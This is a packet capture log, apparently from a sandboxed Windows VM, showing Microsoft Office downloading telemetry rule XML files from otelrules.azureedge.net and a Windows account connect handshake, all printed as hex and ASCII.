2024-12-04 15:15:20 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49730	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:20 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:20 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 667c147a-501e-0016-34cc-45181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151520Z-1746fd949bd2cq7chC1EWRnx9g00000000y000000000ky1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:20 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49732	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:20 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:20 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c4831996-901e-0016-39ce-45efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151520Z-1746fd949bd6zq92hC1EWRry4800000001b000000000cze6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:20 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49734	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:20 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:20 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 9ac3d201-201e-0000-03c5-45a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151520Z-1746fd949bdwt8wrhC1EWRu6rg00000001k0000000009spr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:20 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49736	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:22 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 67 5a 67 4e 64 7a 6b 46 77 6b 53 38 53 71 43 39 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 62 31 39 65 64 30 63 62 65 35 37 32 34 35 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: gZgNdzkFwkS8SqC9.1Context: 8b19ed0cbe572458
2024-12-04 15:15:22 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-04 15:15:22 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 67 5a 67 4e 64 7a 6b 46 77 6b 53 38 53 71 43 39 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 62 31 39 65 64 30 63 62 65 35 37 32 34 35 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 35 77 4f 39 68 76 62 45 4d 2b 69 53 66 45 2b 38 44 46 45 6f 61 6d 47 46 76 53 62 58 34 48 49 51 59 4b 35 45 4b 78 75 36 71 38 39 54 39 4f 4a 6e 46 63 44 4f 72 39 65 57 4d 58 41 64 56 37 4b 38 6a 69 4f 45 35 51 2f 38 52 49 4b 4a 69 65 49 72 4b 72 54 5a 4c 75 38 52 48 6d 6c 4b 50 63 2b 63 66 46 50 35 42 4f 44 44 46 6f 32 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: gZgNdzkFwkS8SqC9.2Context: 8b19ed0cbe572458<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe5wO9hvbEM+iSfE+8DFEoamGFvSbX4HIQYK5EKxu6q89T9OJnFcDOr9eWMXAdV7K8jiOE5Q/8RIKJieIrKrTZLu8RHmlKPc+cfFP5BODDFo25
2024-12-04 15:15:22 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 67 5a 67 4e 64 7a 6b 46 77 6b 53 38 53 71 43 39 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 62 31 39 65 64 30 63 62 65 35 37 32 34 35 38 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: gZgNdzkFwkS8SqC9.3Context: 8b19ed0cbe572458
2024-12-04 15:15:22 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-04 15:15:22 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 59 6e 39 62 45 53 48 4c 76 45 65 63 37 39 4a 38 55 44 66 2f 52 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Yn9bESHLvEec79J8UDf/RQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49733	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:22 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:22 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:22 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 115d5b31-c01e-0046-4bcb-452db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151522Z-1746fd949bdhk6hphC1EWRaw3c000000011g00000000mp5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:22 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49739	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:22 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: c2908fd4-501e-00a0-4ac8-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151522Z-1746fd949bdjrnwqhC1EWRpg2800000001c000000000hy49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49737	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:22 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4628c04c-d01e-0017-18cc-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151522Z-1746fd949bdkw94lhC1EWRxuz400000001g000000000gy5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49738	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:22 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: d3611829-901e-007b-22c2-45ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151522Z-1746fd949bdkw94lhC1EWRxuz400000001g000000000gy5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49740	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:23 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:24 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 4a622c55-e01e-0099-7fc1-45da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151524Z-1746fd949bd6zq92hC1EWRry48000000019000000000k7mm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:24 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49741	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:24 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:24 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: dbf49064-101e-00a2-1bc6-459f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151524Z-1746fd949bd6ztf6hC1EWRvq2s00000000x000000000p48f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:25 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49742	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:24 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
